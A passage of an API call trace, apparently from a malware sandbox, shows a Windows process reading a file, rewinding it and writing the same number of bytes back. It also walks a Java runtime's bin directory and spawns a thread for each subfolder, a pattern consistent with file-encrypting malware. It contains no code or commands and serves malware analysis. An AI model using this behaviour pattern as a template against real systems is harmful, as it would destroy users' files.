	[0092.192] ReadFile (in: hFile=0x147c, lpBuffer=0x50bd898, nNumberOfBytesToRead=0x232, lpNumberOfBytesRead=0x1883f6f8, lpOverlapped=0x0 | out: lpBuffer=0x50bd898*, lpNumberOfBytesRead=0x1883f6f8*=0x232, lpOverlapped=0x0) returned 1
	[0092.192] SetFilePointerEx (in: hFile=0x147c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.193] WriteFile (hFile=0x147c, lpBuffer=0x50ca0a0, nNumberOfBytesToWrite=0x232, lpNumberOfBytesWritten=0x1883f6f4, lpOverlapped=0x0) 

Thread:
	id = 652
	os_tid = 0x195c

	[0078.179] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x52) returned 0x2daf068
	[0078.179] wcscpy (in: _Dest=0x2daf068, _Source="C:\\Program Files\\Java\\jre1.8.0_144\\bin" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\bin") returned="C:\\Program Files\\Java\\jre1.8.0_144\\bin"
	[0078.179] wcscat (in: _Dest=0x2daf068, _Source="\\" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\") returned="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\"
	[0078.179] wcscat (in: _Dest=0x2daf068, _Source="*" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\*") returned="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\*"
	[0078.179] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47a3190
	[0078.179] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\*", lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0eaff93, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2daccf8
	[0078.296] wcscmp (_String1=".", _String2=".") returned 0
	[0078.296] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0eaff93, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.297] wcscmp (_String1="..", _String2=".") returned 1
	[0078.297] wcscmp (_String1="..", _String2="..") returned 0
	[0078.297] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x172440, dwReserved0=0x0, dwReserved1=0x0, cFileName="awt.dll", cAlternateFileName="")) returned 1
	[0078.297] wcscmp (_String1="awt.dll", _String2=".") returned 1
	[0078.297] wcscmp (_String1="awt.dll", _String2="..") returned 1
	[0078.297] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bci.dll", cAlternateFileName="")) returned 1
	[0078.297] wcscmp (_String1="bci.dll", _String2=".") returned 1
	[0078.297] wcscmp (_String1="bci.dll", _String2="..") returned 1
	[0078.297] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x0, dwReserved1=0x0, cFileName="dcpr.dll", cAlternateFileName="")) returned 1
	[0078.297] wcscmp (_String1="dcpr.dll", _String2=".") returned 1
	[0078.297] wcscmp (_String1="dcpr.dll", _String2="..") returned 1
	[0078.297] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x15040, dwReserved0=0x0, dwReserved1=0x0, cFileName="decora_sse.dll", cAlternateFileName="DECORA~1.DLL")) returned 1
	[0078.297] wcscmp (_String1="decora_sse.dll", _String2=".") returned 1
	[0078.297] wcscmp (_String1="decora_sse.dll", _String2="..") returned 1
	[0078.297] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8f840, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy.dll", cAlternateFileName="")) returned 1
	[0078.297] wcscmp (_String1="deploy.dll", _String2=".") returned 1
	[0078.297] wcscmp (_String1="deploy.dll", _String2="..") returned 1
	[0078.297] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2891a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dtplugin", cAlternateFileName="")) returned 1
	[0078.297] wcscmp (_String1="dtplugin", _String2=".") returned 1
	[0078.297] wcscmp (_String1="dtplugin", _String2="..") returned 1
	[0078.297] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x47806a8
	[0078.297] wcscpy (in: _Dest=0x47806a8, _Source="C:\\Program Files\\Java\\jre1.8.0_144\\bin" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\bin") returned="C:\\Program Files\\Java\\jre1.8.0_144\\bin"
	[0078.297] wcscat (in: _Dest=0x47806a8, _Source="\\" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\") returned="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\"
	[0078.297] wcscat (in: _Dest=0x47806a8, _Source="dtplugin" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin") returned="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin"
	[0078.297] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47806a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa84
	[0078.298] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7440, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt_shmem.dll", cAlternateFileName="")) returned 1
	[0078.298] wcscmp (_String1="dt_shmem.dll", _String2=".") returned 1
	[0078.298] wcscmp (_String1="dt_shmem.dll", _String2="..") returned 1
	[0078.298] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x6040, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt_socket.dll", cAlternateFileName="DT_SOC~1.DLL")) returned 1
	[0078.298] wcscmp (_String1="dt_socket.dll", _String2=".") returned 1
	[0078.298] wcscmp (_String1="dt_socket.dll", _String2="..") returned 1
	[0078.298] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x21440, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.dll", cAlternateFileName="")) returned 1
	[0078.298] wcscmp (_String1="eula.dll", _String2=".") returned 1
	[0078.298] wcscmp (_String1="eula.dll", _String2="..") returned 1
	[0078.298] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x43040, dwReserved0=0x0, dwReserved1=0x0, cFileName="fontmanager.dll", cAlternateFileName="FONTMA~1.DLL")) returned 1
	[0078.298] wcscmp (_String1="fontmanager.dll", _String2=".") returned 1
	[0078.298] wcscmp (_String1="fontmanager.dll", _String2="..") returned 1
	[0078.298] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2da40, dwReserved0=0x0, dwReserved1=0x0, cFileName="fxplugins.dll", cAlternateFileName="FXPLUG~1.DLL")) returned 1
	[0078.298] wcscmp (_String1="fxplugins.dll", _String2=".") returned 1
	[0078.298] wcscmp (_String1="fxplugins.dll", _String2="..") returned 1
	[0078.298] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x40e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="glass.dll", cAlternateFileName="")) returned 1
	[0078.299] wcscmp (_String1="glass.dll", _String2=".") returned 1
	[0078.299] wcscmp (_String1="glass.dll", _String2="..") returned 1
	[0078.299] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x6f440, dwReserved0=0x0, dwReserved1=0x0, cFileName="glib-lite.dll", cAlternateFileName="GLIB-L~1.DLL")) returned 1
	[0078.299] wcscmp (_String1="glib-lite.dll", _String2=".") returned 1
	[0078.299] wcscmp (_String1="glib-lite.dll", _String2="..") returned 1
	[0078.299] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x97440, dwReserved0=0x0, dwReserved1=0x0, cFileName="gstreamer-lite.dll", cAlternateFileName="GSTREA~1.DLL")) returned 1
	[0078.299] wcscmp (_String1="gstreamer-lite.dll", _String2=".") returned 1
	[0078.299] wcscmp (_String1="gstreamer-lite.dll", _String2="..") returned 1
	[0078.299] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x26a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="hprof.dll", cAlternateFileName="")) returned 1
	[0078.299] wcscmp (_String1="hprof.dll", _String2=".") returned 1
	[0078.299] wcscmp (_String1="hprof.dll", _String2="..") returned 1
	[0078.299] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1e240, dwReserved0=0x0, dwReserved1=0x0, cFileName="instrument.dll", cAlternateFileName="INSTRU~1.DLL")) returned 1
	[0078.299] wcscmp (_String1="instrument.dll", _String2=".") returned 1
	[0078.299] wcscmp (_String1="instrument.dll", _String2="..") returned 1
	[0078.299] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="j2pcsc.dll", cAlternateFileName="")) returned 1
	[0078.299] wcscmp (_String1="j2pcsc.dll", _String2=".") returned 1
	[0078.299] wcscmp (_String1="j2pcsc.dll", _String2="..") returned 1
	[0078.299] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf840, dwReserved0=0x0, dwReserved1=0x0, cFileName="j2pkcs11.dll", cAlternateFileName="")) returned 1
	[0078.299] wcscmp (_String1="j2pkcs11.dll", _String2=".") returned 1
	[0078.299] wcscmp (_String1="j2pkcs11.dll", _String2="..") returned 1
	[0078.299] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5240, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaas_nt.dll", cAlternateFileName="")) returned 1
	[0078.299] wcscmp (_String1="jaas_nt.dll", _String2=".") returned 1
	[0078.299] wcscmp (_String1="jaas_nt.dll", _String2="..") returned 1
	[0078.299] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8640, dwReserved0=0x0, dwReserved1=0x0, cFileName="jabswitch.exe", cAlternateFileName="JABSWI~1.EXE")) returned 1
	[0078.299] wcscmp (_String1="jabswitch.exe", _String2=".") returned 1
	[0078.299] wcscmp (_String1="jabswitch.exe", _String2="..") returned 1
	[0078.299] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="java-rmi.exe", cAlternateFileName="")) returned 1
	[0078.299] wcscmp (_String1="java-rmi.exe", _String2=".") returned 1
	[0078.299] wcscmp (_String1="java-rmi.exe", _String2="..") returned 1
	[0078.299] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.dll", cAlternateFileName="")) returned 1
	[0078.299] wcscmp (_String1="java.dll", _String2=".") returned 1
	[0078.299] wcscmp (_String1="java.dll", _String2="..") returned 1
	[0078.299] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32840, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.exe", cAlternateFileName="")) returned 1
	[0078.299] wcscmp (_String1="java.exe", _String2=".") returned 1
	[0078.299] wcscmp (_String1="java.exe", _String2="..") returned 1
	[0078.299] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x22c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="JavaAccessBridge-64.dll", cAlternateFileName="JAVAAC~1.DLL")) returned 1
	[0078.300] wcscmp (_String1="JavaAccessBridge-64.dll", _String2=".") returned 1
	[0078.300] wcscmp (_String1="JavaAccessBridge-64.dll", _String2="..") returned 1
	[0078.300] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2dc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="javacpl.cpl", cAlternateFileName="")) returned 1
	[0078.300] wcscmp (_String1="javacpl.cpl", _String2=".") returned 1
	[0078.300] wcscmp (_String1="javacpl.cpl", _String2="..") returned 1
	[0078.300] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="javacpl.exe", cAlternateFileName="")) returned 1
	[0078.300] wcscmp (_String1="javacpl.exe", _String2=".") returned 1
	[0078.300] wcscmp (_String1="javacpl.exe", _String2="..") returned 1
	[0078.300] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx_font.dll", cAlternateFileName="JAVAFX~1.DLL")) returned 1
	[0078.300] wcscmp (_String1="javafx_font.dll", _String2=".") returned 1
	[0078.300] wcscmp (_String1="javafx_font.dll", _String2="..") returned 1
	[0078.300] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x83640, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx_font_t2k.dll", cAlternateFileName="JAVAFX~2.DLL")) returned 1
	[0078.300] wcscmp (_String1="javafx_font_t2k.dll", _String2=".") returned 1
	[0078.300] wcscmp (_String1="javafx_font_t2k.dll", _String2="..") returned 1
	[0078.300] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1f440, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx_iio.dll", cAlternateFileName="JAVAFX~3.DLL")) returned 1
	[0078.300] wcscmp (_String1="javafx_iio.dll", _String2=".") returned 1
	[0078.300] wcscmp (_String1="javafx_iio.dll", _String2="..") returned 1
	[0078.300] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32840, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaw.exe", cAlternateFileName="")) returned 1
	[0078.300] wcscmp (_String1="javaw.exe", _String2=".") returned 1
	[0078.300] wcscmp (_String1="javaw.exe", _String2="..") returned 1
	[0078.300] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e040, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.exe", cAlternateFileName="")) returned 1
	[0078.300] wcscmp (_String1="javaws.exe", _String2=".") returned 1
	[0078.300] wcscmp (_String1="javaws.exe", _String2="..") returned 1
	[0078.300] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7440, dwReserved0=0x0, dwReserved1=0x0, cFileName="java_crw_demo.dll", cAlternateFileName="JAVA_C~1.DLL")) returned 1
	[0078.300] wcscmp (_String1="java_crw_demo.dll", _String2=".") returned 1
	[0078.300] wcscmp (_String1="java_crw_demo.dll", _String2="..") returned 1
	[0078.300] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3840, dwReserved0=0x0, dwReserved1=0x0, cFileName="jawt.dll", cAlternateFileName="")) returned 1
	[0078.300] wcscmp (_String1="jawt.dll", _String2=".") returned 1
	[0078.300] wcscmp (_String1="jawt.dll", _String2="..") returned 1
